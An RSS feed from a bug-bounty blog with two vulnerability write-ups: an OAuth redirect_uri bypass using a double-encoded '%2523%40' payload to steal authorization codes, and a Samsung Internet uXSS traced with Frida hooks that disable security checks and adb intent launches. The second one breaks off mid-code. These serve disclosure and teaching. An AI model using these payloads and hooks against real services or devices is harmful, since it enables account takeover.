<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Voorivex Hunting Team]]></title><description><![CDATA[We share our experiences gained by daily hunting]]></description><link>https://blog.voorivex.team</link><generator>RSS for Node</generator><lastBuildDate>Thu, 23 Apr 2026 03:21:15 GMT</lastBuildDate><atom:link href="https://blog.voorivex.team/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Story of Abusing a Fully Secured redirect_uri in an OAuth Flow]]></title><description><![CDATA[When it comes to bug hunting, authentication is my first choice. Nowadays, major companies' authentication systems have many implementations and enormous underlying complexity. So when I start testing]]></description><link>https://blog.voorivex.team/story-of-abusing-a-fully-secured-redirect-uri-in-an-oauth-flow</link><guid isPermaLink="true">https://blog.voorivex.team/story-of-abusing-a-fully-secured-redirect-uri-in-an-oauth-flow</guid><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Sat, 21 Mar 2026 18:44:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6512c82063bb780fed23f4f4/151f180e-d248-482f-a507-93dfdbd7ca96.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When it comes to bug hunting, authentication is my first choice. Nowadays, major companies' authentication systems have many implementations and enormous underlying complexity. So when I start testing, it feels like solving a challenging puzzle full of unknown elements. It may sound like I'm simply testing authentication, but I'm actually deep diving through many JS files and iframes interacting with each other. Today, I want to cover a one-click account takeover bug that I recently found on a well known company's main website, which I'm 100% sure has been tested by many internal security teams and external hunters.</p>
<p>Before jumping into the finding, let me set the stage with some background on how OAuth flows work and why some setups are significantly harder to break than others.</p>
<h2>A Quick Primer on SSO and OAuth</h2>
<p>Single Sign-On (SSO) is the concept of entering your credentials once and getting access to multiple services. Google is a perfect example. You sign into your Google account, and suddenly Gmail, YouTube, Google Cloud, and everything else just works.</p>
<p>The implementation behind SSO varies. Some companies rely on well-known protocols like SAML or common OAuth providers. Others, especially large enterprises, build their own private SSO systems. And this is where things get interesting for a bug hunter, because custom implementations are far more likely to contain flaws.</p>
<p>Here is the typical OAuth login flow. You go to a website, click "Login with Google," and the following happens:</p>
<ol>
<li><p>The <strong>Application</strong> (e.g., YouTube) redirects you to the <strong>Provider</strong> (e.g., Google) with a set of parameters including <code>client_id</code>, <code>redirect_uri</code>, <code>scope</code>, and <code>state</code></p>
</li>
<li><p>You authenticate with the Provider</p>
</li>
<li><p>The Provider sends you back to the Application's <code>redirect_uri</code> with an authorization <code>code</code> (or token)</p>
</li>
<li><p>The application exchanges that code for an access token on the server side, then issues an authentication cookie, session, or token for the user</p>
</li>
</ol>
<p>The critical security boundary here is the <code>redirect_uri</code>. If an attacker can manipulate where the authorization code is sent, they can steal it, exchange it, and take over the victim's account. This is why every OAuth provider validates the <code>redirect_uri</code> strictly.</p>
<p>Now, there is a common misconception among fresh hunters. Many people focus on attacking the Provider side (Google, Facebook, etc.). But the Provider has been tested by millions of researchers. The real attack surface is on the <strong>Application side</strong>, specifically how the application handles the OAuth setup, the redirect, and the token exchange.</p>
<h2>Two Types of Redirects</h2>
<p>In OAuth implementations, there are generally two types of redirects after the Provider sends back the code:</p>
<ol>
<li><p><strong>Exchange Endpoint</strong>: A server-side endpoint that receives the <strong>code</strong> and exchanges it for a <strong>token/authentication session/cookie</strong>. This is a 301/302 redirect, no JavaScript involved. The only attack vector here is manipulating the <code>redirect_uri</code></p>
</li>
<li><p><strong>Dispatcher Endpoint</strong>: A client-side page that uses JavaScript to process the response and redirect the user. This is trickier because JS introduces additional attack surface, such as manipulating the <code>state</code> parameter, postMessage abuse, or Unicode tricks in <code>window.location</code></p>
</li>
</ol>
<p>The second type is more complex and often more likely to be vulnerable. I have previously exploited dispatcher-based flows in of of the Google's product and I received $12,000 for it, I'll be publishing it in future. What if the <code>redirect_uri</code> is the sole point to probe for vulnerabilities, and the implementation appears completely secure?</p>
<p>That is exactly the situation I faced with this target :]</p>
<h2>The Target's OAuth Flow</h2>
<p>The target company is a major global brand in the automotive industry. They operate a unified OAuth system shared across multiple subsidiary brands, powered by a custom identity provider. When you click "Login" on any of their regional websites, the following OAuth request is made:</p>
<pre><code class="language-plaintext">https://idp-connect.company.com/auth/api/v2/user/authorize
  ?client_id=dummy
  &amp;redirect_uri=https%3A%2F%2Fwww.company.com%2Fapi%2Fbin%2Fopenid%2Flogin
  &amp;state=[BASE64_STATE]
  &amp;scope=openid+profile+email+phone
  &amp;response_type=code
  &amp;ui_locales=en
</code></pre>
<p>After authentication, the provider redirects to:</p>
<pre><code class="language-plaintext">https://www.company.com/api/bin/openid/login?code=AUTHORIZATION_CODE&amp;state=...
</code></pre>
<p>This is the exchange endpoint. The Application receives the code and exchanges it for the user's session.</p>
<h2>Analyzing the Attack Surface</h2>
<p>I immediately started mapping what I was working with:</p>
<ul>
<li><p><strong>Application</strong>: <a href="http://www.company.com">www.company.com</a></p>
</li>
<li><p><strong>Provider</strong>: idp-connect.company.com</p>
</li>
<li><p><strong>Exchange endpoint</strong>: <code>https://www.conpany.com/api/bin/openid/login</code></p>
</li>
<li><p><strong>No dispatcher endpoint</strong>. No JavaScript involved. The redirect was a clean 301 HTTP redirect</p>
</li>
<li><p><strong>No</strong> <code>state</code> <strong>parameter abuse possible</strong> because the state was just a base64-encoded URL for post-login redirect, and the exchange endpoint was server-side</p>
</li>
</ul>
<p>This meant the <strong>only viable attack was manipulating the</strong> <code>redirect_uri</code>. If I could make the provider redirect the authorization code to a domain I control, game over.</p>
<p>The issue? The <code>redirect_uri</code> validation was highly protected. However, unlike the main Google provider (the famous one that many sites use it), it accepted both subdomains and the main domain, so <code>abc</code> passed the security checker function without any problems:</p>
<pre><code class="language-plaintext">redirect_uri=https%3A%2F%2Fabc.company.com%2Fapi%2Fbin%2Fopenid%2Flogin
</code></pre>
<p>But hold on, how does a parser detect subdomains? Bingo! By <strong>parsing the URL</strong> or <strong>applying a regex to it</strong>. In this case, attackers can exploit inconsistencies across different layers, just as I did.</p>
<h2>The Wall: Every Trick in the Book, Blocked</h2>
<p>I started with the standard redirect_uri manipulation techniques. Every single one was blocked.</p>
<p><strong>Path confusion with</strong> <code>?</code> <strong>and</strong> <code>#</code><strong>:</strong></p>
<pre><code class="language-plaintext">https://www.company.com?/api/bin/openid/login     → Rejected
https://www.company.com#/api/bin/openid/login     → Rejected
</code></pre>
<p><strong>Domain substitution:</strong></p>
<pre><code class="language-plaintext">https://www.company.computer/api/bin/openid/login  → Rejected
https://wwwa.company.com/api/bin/openid/login      → Rejected
</code></pre>
<p><strong>Authority injection with</strong> <code>@</code><strong>:</strong></p>
<pre><code class="language-plaintext">https://www.company.com@attacker.com/api/bin/openid/login   → Rejected
</code></pre>
<p><strong>Domain concatenation:</strong></p>
<pre><code class="language-plaintext">https://a.coma.company.computer/api/bin/openid/login    → Rejected
https://a.com@.company.computer/api/bin/openid/login    → Rejected
https://a.com\@.company.computer/api/bin/openid/login   → Rejected
</code></pre>
<p>Every standard bypass was dead. The validation was solid. At this point, most hunters would move on. The <code>redirect_uri</code> was locked down. Nothing to see here.</p>
<p>But I do not give up after one round of attempts. I always push further.</p>
<h2>Fuzzing the URL Parser</h2>
<p>I changed my strategy. Rather than using familiar bypass techniques, I opted to fuzz the URL parser. The key question was <strong>whether characters could be decoded again after passing the server-side URL validator</strong>.</p>
<p>I started fuzzing encoded characters at various positions in the URL (<code>\u0000</code> -&gt; <code>\u007f</code>):</p>
<pre><code class="language-plaintext">https://a.com%FUZZ.company.com/api/bin/openid/login
https://www.company.com%FUZZ/api/bin/openid/login
https://a.com%FUZZ/api/bin/openid/login
</code></pre>
<p>Nothing happened, so I continued by extending the fuzz to two consecutive characters, ranging from <code>\u0000</code> to <code>\u007f</code> in all possible permutations. This approach, known as a cluster bomb attack, covers every potential scenario:</p>
<pre><code class="language-plaintext">https://a.com%FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%FUZZ%FUZZ/api/bin/openid/login https://a.com%FUZZ%FUZZ/api/bin/openid/login
</code></pre>
<p>All payloads were rejected and I got nothing. Here is the secret ingredient that I want to give you, there is a <strong>classic double-decode vulnerability</strong> pattern (you may know it as the double-encode attack vector) which is used to be in CTF challenge commonly, honestly I don't know if it's still a brand-new challenge these days or not. The scenario: If the server <strong>decodes once before validation</strong> but the <strong>action function</strong> (in our case before the redirect) causes a <strong>second decode</strong>, you can <strong>smuggle characters</strong> past the validator. Here is the tiny PHP code that is vulnerable:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6512c82063bb780fed23f4f4/47408229-4b9f-4280-a070-81b309415033.png" alt="" style="display:block;margin:0 auto" />

<p>Can you spot the vulnerability? So I ran this approach against the target:</p>
<pre><code class="language-plaintext">https://a.com%25FUZZ%FUZZ.company.com/api/bin/openid/login https://www.company.com%25FUZZ%FUZZ/api/bin/openid/login https://a.com%25FUZZ%FUZZ/api/bin/openid/login
</code></pre>
<p>As a result, I got a desired output with <code>%2523%40</code>.</p>
<h2>The Breakthrough</h2>
<p>The key insight came from combining two URL-encoded characters:</p>
<ul>
<li><p><code>%2523</code> = double-encoded <code>#</code> (first decode: <code>%23</code>, second decode: <code>#</code>)</p>
</li>
<li><p><code>%40</code> = URL-encoded <code>@</code></p>
</li>
</ul>
<p>I crafted the following <code>redirect_uri</code>:</p>
<pre><code class="language-plaintext">https://a.com%2523%40www.company.com/api/bin/openid/login
</code></pre>
<p>Here is what happens step by step:</p>
<p><strong>Step 1: Server-side validation</strong></p>
<p>The server decodes the URL once:</p>
<pre><code class="language-plaintext">https://a.com%23@www.company.com/api/bin/openid/login
</code></pre>
<p>The validator sees <code>%23</code> (which is <code>#</code>) followed by <code>@www.company.com</code>. In URL parsing, the <code>@</code> symbol separates credentials from the host. So the server interprets this as:</p>
<ul>
<li><p>Credentials: <code>a.com%23</code> (treated as credentials, ignored)</p>
</li>
<li><p>Host: <code>www.company.com</code></p>
</li>
<li><p>Path: <code>/api/bin/openid/login</code></p>
</li>
</ul>
<p>The host is <code>www.company.com</code>. <strong>Validation passes.</strong></p>
<p><strong>Step 2: Just before the 301 redirect</strong></p>
<p>The server issues a 301 redirect to this URL with the authorization code appended. Right before the parameter is passed to the response, it decodes %23 once:</p>
<pre><code class="language-plaintext">https://a.com#@www.company.com/api/bin/openid/login?code=AUTH_CODE
</code></pre>
<p>Now the browser sees:</p>
<ul>
<li><p>Scheme: <code>https</code></p>
</li>
<li><p>Host: <code>a.com</code></p>
</li>
<li><p>Fragment: <code>@www.company.com/api/bin/openid/login?code=AUTH_CODE</code></p>
</li>
</ul>
<p>Everything after <code>#</code> is a fragment identifier. The browser navigates to <code>a.com</code> and the fragment (including the authorization code) is accessible via <code>location.hash</code> on the attacker's page.</p>
<p><strong>The authorization code leaks to the attacker.</strong></p>
<p>In practice, the actual redirect looked like:</p>
<pre><code class="language-plaintext">https://a.com/?code=AUTH_CODE&amp;state=...
</code></pre>
<p>The code is now in my hands.</p>
<h2>Why This Bug Existed</h2>
<p>The root cause is a discrepancy between how <strong>the server-side URL validator parses URLs</strong> and <strong>how a function decodes them just before a redirect</strong>. Specifically:</p>
<ol>
<li><p>The server conducts a single round of URL decoding before validating the <code>redirect_uri</code>, which is standard behavior</p>
</li>
<li><p>before redirection, a function caused to perform an additional round of decoding</p>
</li>
<li><p>Double-encoded characters (<code>%2523</code> for <code>#</code>) survive the first decode as <code>%23</code>, passing validation. They then get decoded again by the function into <code>#</code>, which completely changes the URL structure.</p>
</li>
</ol>
<p>This is not a trivial bug. The <code>redirect_uri</code> validation was genuinely strong. It blocked every standard bypass technique. The flaw was in the interaction between the server's URL decoding behavior and the security function that was parsing the URL.</p>
<p>This bug serves as a reminder that "fully secured" doesn't mean "impossible to bypass." It simply requires deeper investigation. I hope you enjoyed this post. My next one will focus on OAuth in Google, exploring a different path with a dispatcher endpoint. I'll publish it soon :)</p>
]]></content:encoded></item><item><title><![CDATA[uXSS on Samsung Browser [CVE-2025-58485 SVE-2025-1879]]]></title><description><![CDATA[Introduction
This write-up explains how @YShahinzadeh and I discovered a Universal Cross-Site Scripting (UXSS) vulnerability in the Samsung Internet Browser, identified as CVE-2025-58485 and SVE-2025-]]></description><link>https://blog.voorivex.team/uxss-on-samsung-browser-cve-2025-58485-sve-2025-1879</link><guid isPermaLink="true">https://blog.voorivex.team/uxss-on-samsung-browser-cve-2025-58485-sve-2025-1879</guid><category><![CDATA[bug bounty]]></category><category><![CDATA[CVE-2025-58485]]></category><category><![CDATA[uxss]]></category><dc:creator><![CDATA[Omid Rezaei]]></dc:creator><pubDate>Mon, 23 Feb 2026 18:43:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769612322324/5d0547d4-f91a-49d7-bc16-70a87513b506.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Introduction</strong></h2>
<p>This write-up explains how <a href="https://x.com/@YShahinzadeh">@YShahinzadeh</a> and I discovered a Universal Cross-Site Scripting (UXSS) vulnerability in the Samsung Internet Browser, identified as <a href="https://www.cve.org/CVERecord?id=CVE-2025-58485">CVE-2025-58485</a> and <a href="https://security.samsungmobile.com/serviceWeb.smsb?year=2025&amp;month=12">SVE-2025-1879</a>. This issue was caused by inconsistent intent validation in exported activities. The Samsung browser is the default browser on all Samsung phones and has over <strong>1 billion downloads on the Play Store</strong>.</p>
<h2>New Methodology</h2>
<p>Typically, our methodology for Android assessments focuses on traffic interception and API analysis. However, for this assessment, we shifted our strategy to a deep dive into the source code and Android-specific logic rather than network traffic. Our entry point was the <code>AndroidManifest.xml</code></p>
<h2><strong>Entry Point: Exported Bixby Launcher Activity</strong></h2>
<p>The most eye-catching part in the Android manifest file is always the exported activities that can be found with this attribute <code>android:exported="true"</code>. Based on past experience, if it has the deeplink, it makes it even better because we can call it with just one link from a Web. So there were a few activities that matched our expectations, and we started with this one:</p>
<pre><code class="language-xml">&lt;activity
    android:theme="@android:style/Theme.Translucent.NoTitleBar"
    android:name="com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity"
    android:exported="true"
    android:excludeFromRecents="true"
    android:launchMode="singleInstance"
    android:noHistory="true"&gt;
    &lt;intent-filter&gt;
        &lt;action android:name="android.intent.action.VIEW"/&gt;
        &lt;category android:name="android.intent.category.DEFAULT"/&gt;
        &lt;category android:name="android.intent.category.BROWSABLE"/&gt;
        &lt;data
            android:scheme="samsunginternet"
            android:host="com.sec.android.app.sbrowser"/&gt;
    &lt;/intent-filter&gt;
&lt;/activity&gt;
</code></pre>
<h3>OnCreate</h3>
<p>Android activities have certain methods that are called in different situations (<a href="https://developer.android.com/guide/components/activities/activity-lifecycle">Read More</a>). One of these methods is <code>onCreate</code>, which is called first when the activity starts. We began by looking at the <code>onCreate</code> method of the <code>BixbySBrowserLauncherActivity</code> activity:</p>
<pre><code class="language-java">
    @Override // android.app.Activity
    public void onCreate(Bundle bundle) throws UnsupportedEncodingException {
        super.onCreate(bundle);
        Log.i("BixbyLauncherActivity", "onCreate()");
        SALoggingInitializer.initialize(getApplication());
        handleIntent(getIntent());
        finish();
    }
</code></pre>
<p>It just receives the <a href="https://developer.android.com/guide/components/intents-filters">intent</a> from the input and passes it to the <code>handleIntent</code> function:</p>
<pre><code class="language-java"> private void handleIntent(Intent intent) throws UnsupportedEncodingException {
        String pathSegments;
        Log.i("BixbyLauncherActivity", "[handleIntent]");
        if (isAllowedPackage(intent)) {
            String action = intent.getAction();
            Uri data = intent.getData();
            setTaskIds(intent);
            if (!"android.intent.action.VIEW".equals(action) || data == null) {
                return;
            }
            String string = data.toString();
            List&lt;String&gt; pathSegments2 = data.getPathSegments();
            this.mPathSegments = pathSegments2;
            if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
                return;
            }
            handleGoals(string, pathSegments);
        }
    }
</code></pre>
<h3>Checker Functions: isAllowedPackage</h3>
<p>If you look at the code for the <code>handleIntent</code>, there is a function called <code>isAllowedPackage</code> that checks the intent at the beginning. Based on its name, you can probably guess why it exists here:</p>
<pre><code class="language-java">private boolean isAllowedPackage(Intent intent) {
        if (GEDUtils.isGED() || !"android.intent.action.VIEW".equals(intent.getAction())) {
            return false;
        }
        Uri uri = (Uri) intent.getParcelableExtra("android.intent.extra.REFERRER");
        String stringExtra = intent.getStringExtra("android.intent.extra.REFERRER_NAME");
        intent.removeExtra("android.intent.extra.REFERRER");
        intent.removeExtra("android.intent.extra.REFERRER_NAME");
        String host = getReferrer() == null ? null : getReferrer().getHost();
        intent.putExtra("android.intent.extra.REFERRER", uri);
        intent.putExtra("android.intent.extra.REFERRER_NAME", stringExtra);
        if (host != null &amp;&amp; Constants.BIXBY_AGENT_PKG_NAME.equals(host)) {
            return true;
        }
        androidx.compose.ui.text.font.a.q("NOT allowed package : ", host, "BixbyLauncherActivity");
        return false;
    }
</code></pre>
<p>It prevents random apps, deep links, emulators, etc., from starting the activity, restricting access to this component (Bixby).</p>
<p>This function contains three failure conditions:</p>
<ol>
<li><p>if <code>GEDUtils.isGED()</code> is true, the code stops immediately and denies execution.</p>
</li>
<li><p>if the intent action is anything other than <code>android.intent.action.VIEW</code>, the code stops and denies execution</p>
</li>
<li><p>if the host (extracted from the intent referrer) equals <code>Constants.BIXBY_AGENT_PKG_NAME</code>, access is allowed; otherwise, access is denied, and a log entry is written.</p>
</li>
</ol>
<h3>Check One: <code>GEDUtils.isGED()</code></h3>
<ul>
<li>GED = <em>Generic / Emulated Device</em> (non-Samsung execution context).:</li>
</ul>
<pre><code class="language-java">public class GEDUtils {
    public static boolean isGED() {
        return ApplicationStatus.getApplicationContext().getSharedPreferences("debug_preferences", 0).getBoolean("pref_emulate_non_samsung_device", false) || PlatformInfo.SPL_VERSION == 1000;
    }
}
</code></pre>
<p>The function detects non-Samsung or emulated environments by checking a debug preference and a platform version value. When either indicates a generic context, it flags the environment as untrusted and is used to block or alter execution paths. During emulator testing, this check was bypassed by hooking the function with Frida and reversing its return value:</p>
<pre><code class="language-javascript"> var GEDUtils = Java.use("com.sec.android.app.sbrowser.common.device.GEDUtils");
    GEDUtils.isGED.implementation = function () {
        console.log(`GEDUtils.isGED called, original result: \({this.isGED()} new result: \){!this.isGED()}`);
        return !this.isGED(); // flips the result
    };
// Log: GEDUtils.isGED called, original result: true new result: false
</code></pre>
<h3>Check Two: <code>android.intent.action.VIEW</code></h3>
<p>The second condition ensures that only intents with the action <code>android.intent.action.VIEW</code> are processed, while all others are rejected. However, since the caller can fully control the action, this condition does not offer significant security.</p>
<h3>Check Three: <code>com.samsung.android.bixby.agent</code></h3>
<p>The third condition is in the referrer logic. Here, the activity checks the system referrer and only allows execution if it resolves to <code>com.samsung.android.bixby.agent</code>. If not, the intent is discarded.</p>
<h2><strong>Bixby Referrer Limits the Attack Surface</strong></h2>
<p>At this point, the GED check and referrer validation restricted execution to genuine Samsung devices and intents from <code>com.samsung.android.bixby.agent</code>. This significantly reduced the attack surface and made direct exploitation through this activity unlikely. Since our goal was to understand how it works and to comprehend the entire component, we disabled the <code>isAllowedPackage</code> security check using a Frida script <strong>to continue tracing the Intent (this is the most important milestone of this bug)</strong>. The script simply reversed the method’s return value, changing false to true.</p>
<pre><code class="language-java">var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
    let result = this["isAllowedPackage"](intent);
    console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
    return !result;
};
</code></pre>
<h2><strong>Continue to Discover Whole Flow</strong></h2>
<p>At the bottom of the <code>isAllowedPackage</code>, we encountered the snippet of code below in the <code>handleIntent</code> function:</p>
<pre><code class="language-java">String action = intent.getAction();
Uri data = intent.getData();
setTaskIds(intent);
if (!"android.intent.action.VIEW".equals(action) || data == null) {
    return;
}
String string = data.toString();
List&lt;String&gt; pathSegments2 = data.getPathSegments();
this.mPathSegments = pathSegments2;
if (pathSegments2 == null || pathSegments2.size() == 0 || (pathSegments = getPathSegments(0)) == null) {
    return;
}
handleGoals(string, pathSegments);
</code></pre>
<p>The code first performs a basic check on the action of the intent and ensures the data is <strong>not null</strong>. Then, it extracts the URI path segments and stops if they are missing or empty. If these conditions are met, it calls <code>handleGoals</code> with the <strong>full URI string and the first path segment</strong>.</p>
<p>We can call the <code>handleGoals</code> function with this adb command (while Frida is running in the background to disable <code>isAllowedPackage</code>):</p>
<pre><code class="language-bash">adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/path1/path2"
</code></pre>
<p>Result:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769434792988/82e07b29-ede2-483e-b606-15205889e738.png" alt="" style="display:block;margin:0 auto" />

<p>The next function that we need to review is <code>handleGoals</code>:</p>
<pre><code class="language-java">private void handleGoals(String str, String str2) throws UnsupportedEncodingException {
    str2.getClass();
    switch (str2) {
        case "ReadWebpage":
            handleReadAloud();
            break;
        case "OpenNewTab":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_NEW_TAB");
            break;
        ...
        case "ShareVia":
            handleShareVia(str2);
            break;
        case "OpenSavedpages":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_SAVEDPAGES");
            break;
        case "OpenTabs":
            startActivityForBixby("com.sec.android.app.sbrowser.INTENT_OPEN_TABS");
            break;
        case "AccessIdentifiedWebsite":
        case "AccessWebsite":
            handleAccessWebsite(str);
            break;
        ...
    }
}
</code></pre>
<p>The <code>handleGoals</code> checks the value of <code>str2</code> and uses it to decide what to do. Each possible value maps to a specific action, and for most of them, it starts ‍‍<code>startActivityForBixby</code> with a specific action; others call separate functions that handle additional logic. if the value is not recognized, the function does nothing.</p>
<p>After reviewing some of them, the <code>AccessWebsite</code> case, which runs <code>handleAccessWebsite</code> caught our attention.</p>
<p>Let’s see what happens inside <code>handleAccessWebsite</code> :</p>
<pre><code class="language-java">private void handleAccessWebsite(String str) throws UnsupportedEncodingException {
    Log.i("BixbyLauncherActivity", "[handleAccessWebsite]");
    String strSubstring = str.substring(str.indexOf("?") + 1);
    String pathSegments = getPathSegments(1);
    String pathSegments2 = getPathSegments(2);
    if (pathSegments == null || pathSegments2 == null) {
        return;
    }
    EngLog.d("BixbyLauncherActivity", "[handleAccessWebsite] url : " + strSubstring);
    if (UrlUtils.isJavascriptSchemeOrInvalidUrl(strSubstring) || UrlUtils.isForbiddenUri(Uri.parse(strSubstring)) || UrlUtils.isDataUrl(strSubstring)) {
        Log.i("BixbyLauncherActivity", "shouldIgnoreIntent, return");
        return;
    }
    if ("null".equals(strSubstring)) {
        strSubstring = getSearchUrl("default", pathSegments2, pathSegments);
    }
    Intent intentCreateIntentWithTargetTask = createIntentWithTargetTask("com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE");
    intentCreateIntentWithTargetTask.putExtra("extra_access_url", strSubstring);
    try {
        getApplicationContext().startActivity(intentCreateIntentWithTargetTask);
        SALogging.sendEventLogWithoutScreenID("9188");
    } catch (ActivityNotFoundException e) {
        androidx.recyclerview.widget.a.k(e, new StringBuilder("[handleAccessWebsite]"), "BixbyLauncherActivity");
    }
}
</code></pre>
<p>As shown, the function splits the incoming intent link into two parts, the <strong>path segments</strong> and the <strong>query string</strong>. Given an example:</p>
<p><code>samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team</code></p>
<p>Everything after the <code>?</code> is treated as the <strong>target URL</strong>, while <code>seg1</code> and <code>seg2</code> are extarcted from the path.</p>
<p>After confirming that the URL is safe using several checker functions, like <code>isJavascriptSchemeOrInvalidUrl</code> or <code>isForbiddenUri</code>, then the function creates a new intent, and it attaches the URL using the <code>extra_access_url</code> extra and the <code>com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE</code> action. The intent is then passed to another activity. Let’s see in action:</p>
<pre><code class="language-bash">adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?https://blog.voorivex.team"
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770201056468/1fa452a7-9ab0-4a3a-8859-195a93302eaa.gif" alt="" style="display:block;margin:0 auto" />

<h2><strong>Component Boundary: Intent Passed to a New Activity</strong></h2>
<p>Before the intent is passed to another activity, it undergoes several checks, including <code>isJavascriptSchemeOrInvalidUrl</code>, <code>isForbiddenUri</code>, and <code>isDataUrl</code>, to ensure it is valid.</p>
<pre><code class="language-java">public static boolean isJavascriptSchemeOrInvalidUrl(String str) {
    String sanitizedUrlScheme = getSanitizedUrlScheme(str);
    if (sanitizedUrlScheme != null) {
        Locale locale = Locale.US;
        if (sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAVASCRIPT_SCHEME) || sanitizedUrlScheme.toLowerCase(locale).equals(UrlConstants.JAR_SCHEME)) {
            return true;
        }
    }
    return false;
}
</code></pre>
<pre><code class="language-java">public static boolean isForbiddenUri(Uri uri) {
    String scheme = uri.getScheme();
    if (scheme == null) {
        return false;
    }
    if (!"file".equals(scheme.toLowerCase(Locale.US))) {
        return !ACCEPTED_SCHEMES.contains(scheme);
    }
    String path = uri.getPath();
    if (path == null) {
        return true;
    }
    Iterator&lt;String&gt; it = FILE_WHITELIST.iterator();
    while (it.hasNext()) {
        if (path.startsWith(it.next())) {
            return false;
        }
    }
    return true;
}
</code></pre>
<p>If any of these checks return true, the method exits right away. if the extracted value is the literal string "null," the method creates a fallback search URL using the path segments instead. Only when all checks are successful does it create an intent, set <code>extra_access_url</code> to the URL, set the action to <code>com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE</code>, and start the current activity with that intent using <code>startActivity</code>. To ensure which activity will be called, we used this Frida script:</p>
<pre><code class="language-javascript">// frida -U -f &lt;package.name&gt; -l log_startActivity.js --no-pause

Java.perform(function () {
    const Activity = Java.use("android.app.Activity");
    const ContextImpl = Java.use("android.app.ContextImpl");
    function logIntent(intent) {
        if (!intent) return;
        const comp = intent.getComponent();
        const extras = intent.getExtras();
        console.log("=== startActivity ===");
        console.log("Action      :", intent.getAction());
        console.log("Component   :", comp ? comp.getClassName() : "null");
        console.log("Data        :", intent.getDataString());
        if (extras) {
            const keySet = extras.keySet().toArray();
            console.log("Extras:");
            keySet.forEach(function (k) {
                console.log("  " + k + " = " + extras.get(k));
            });
        } else {
            console.log("Extras      : null");
        }
        console.log("=====================");
    }
    Activity.startActivity.overload("android.content.Intent").implementation = function (intent) {
        logIntent(intent);
        return this.startActivity(intent);
    };
    ContextImpl.startActivity.overload("android.content.Intent").implementation = function (intent) {
        logIntent(intent);
        return this.startActivity(intent);
    };
    ContextImpl.startActivity
        .overload("android.content.Intent", "android.os.Bundle")
        .implementation = function (intent, bundle) {
            logIntent(intent);
            return this.startActivity(intent, bundle);
        };
});
</code></pre>
<pre><code class="language-plaintext">=== startActivity ===
Action      : com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE
Component   : com.sec.android.app.sbrowser.SBrowserMainActivity
Data        : null
Extras:
  extra_access_url = https://blog.voorivex.team/
  extra_by_capsule = true
=====================
</code></pre>
<p>It passed to <code>com.sec.android.app.sbrowser.SBrowserMainActivity</code> with two extras: <code>extra_access_url</code> and <code>extra_by_capsule</code>, and the action <code>com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE</code></p>
<h2>The Sink</h2>
<p>We had a transition in the <code>BixbyLauncher</code> Activity that generated an intent and called another activity named <code>com.sec.android.app.sbrowser.SBrowserMainActivity</code> with the <code>extra_access_url</code> parameter in the intent.</p>
<p>So, we began tracing the flow by searching for the <code>extra_access_url</code> parameter throughout the entire source code:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769537058428/a47faf29-0431-4b06-a478-8a812d213e37.png" alt="" style="display:block;margin:0 auto" />

<p>We found this function named <code>accessWebsite</code> that takes an intent as input and runs <code>loadUrl</code> with two arguments: one is <code>getCurrentTab()</code> and the second is the value of <code>extra_access_url</code>. after hooking it, I confirmed it was the right one:</p>
<pre><code class="language-java">private void accessWebsite(Intent intent) {
        Log.i("si__MainViewBixby", "[accessWebsite]");
        loadUrl(getCurrentTab(), intent.getStringExtra("extra_access_url"));
        finishEditMode();
    }
</code></pre>
<pre><code class="language-javascript">var MainViewBixby = Java.use("com.sec.android.app.sbrowser.main_view.MainViewBixby");
MainViewBixby["accessWebsite"].implementation = function (intent) {
    console.log(`MainViewBixby.accessWebsite is called: intent=${intent}`);
    this["accessWebsite"](intent);
};
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769537702201/a6768bc1-a4b7-40c5-a76c-d3e048dfb3e4.png" alt="" style="display:block;margin:0 auto" />

<p>Let’s look at the <code>loadUrl</code> function:</p>
<pre><code class="language-java">private void loadUrl(final SBrowserTab sBrowserTab, final String str) {
    if (sBrowserTab == null) {
        this.mNewTabHandler.loadUrlWithNewTab(str, null, true, isSecretModeEnabled(), TabLaunchType.FROM_EXTERNAL_APP, false);
    } else if (sBrowserTab.isNativePage() &amp;&amp; sBrowserTab.isLoading()) {
